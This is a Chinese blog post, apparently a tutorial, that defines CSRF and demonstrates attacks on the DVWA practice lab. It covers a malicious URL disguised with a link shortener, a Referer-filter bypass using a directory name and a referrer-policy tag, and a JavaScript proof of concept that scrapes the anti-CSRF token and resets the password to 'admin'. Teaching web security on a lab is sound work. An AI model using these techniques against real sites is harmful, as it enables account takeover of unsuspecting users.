Web之伪造用户请求CSRF的介绍

一、定义

  CSRF(Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack(单键攻击)或者 Session Riding,通常缩写为 CSRF 或者 XSRF。

  简单理解:用户已经登陆过一个网站并且完成了认证,下次登录这个网站就不用再进行认证了,此时黑客构造一个恶意的URL将其放送给用户并且诱导用户点击,用户就在不知不觉间完成了修改密码、转账等其他操作。

二、实战演示

补充:我们构造的URL地址可以利用 “短链接生成” 

1.Low级别的DVWA之CSRF演示

在URL当中我们可以清楚的看明白修改密码的具体操作,无非就是给服务器传递了三个参数,我们构造另一个恶意的URL地址之后诱导用户点击即可完成本次CSRF攻击。可以查看DVWA的源代码来理解。

2.Medium级别的DVWA之CSRF演示

补充:在该级别当中主要是过滤了Referer。

解决: 通过查看源码if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

    我们可以很好的绕过这个stripos()函数的过滤,我们可以新建一层目录,将我们编写的恶意跳转页面放到该目录下,让该目录的“名称”包括HTTP_REFERER的内容即可过滤绕过,这里有一个注意事项很重要,有的浏览器已经修复了Referer策略,使用该策略跳转到其它站点时 Referer 会被降级处理,不携带 URI (也就是路径)部分,仅保留主机名,因此我们编写的恶意跳转页面要手工指定 Referer 策略:

<meta name="referrer" content="no-referrer-when-downgrade">

    当然还有很多的方法,例如我们可以利用其子站点的漏洞,从子站点打入即可。

3.High级别的DVWA之CSRF演示

 直接看POC吧,主要利用了Ajax的知识。

//弹出cookie
alert(document.cookie);
//定义AJAX加载的页面
	var theUrl = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/';
//匹配浏览器
if (window.XMLHttpRequest){
// IE7+, Firefox, Chrome, Opera, Safari
		xmlhttp=new XMLHttpRequest(); 
	}else{
// IE6, IE5
		xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
	}
	var count = 0;
//页面加载完成后执行函数
	xmlhttp.onreadystatechange=function(){
//判断请求已完成并且响应就绪状态码为200时执行代码
	if (xmlhttp.readyState==4 && xmlhttp.status==200)
	{
//页面内容存储到text中进行匹配token
		var text = xmlhttp.responseText;
		var regex = /user_token\' value\=\'(.*?)\' \/\>/;
		var match = text.match(regex);
		console.log(match);
//弹出token
		alert(match[1]);
		var token = match[1];
//定义payload url并绑定token为我们从页面匹配到的token并且定义新的密码,新密码是admin
var new_url = 'http://192.168.1.63/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&password_conf=admin&Change=Change'
//GET方式提交一次new_url
		if(count==0){
			count++;
			xmlhttp.open("GET",new_url,false);
			xmlhttp.send();
		}
}
};
//GET方式提交theUrl
	xmlhttp.open("GET",theUrl,false);
	xmlhttp.send();

 关于Ajax的知识点

https://www.w3school.com.cn/js/js_ajax_http.asp

posted @ 2022-03-27 20:29  hithub  阅读(58)  评论(0编辑  收藏  举报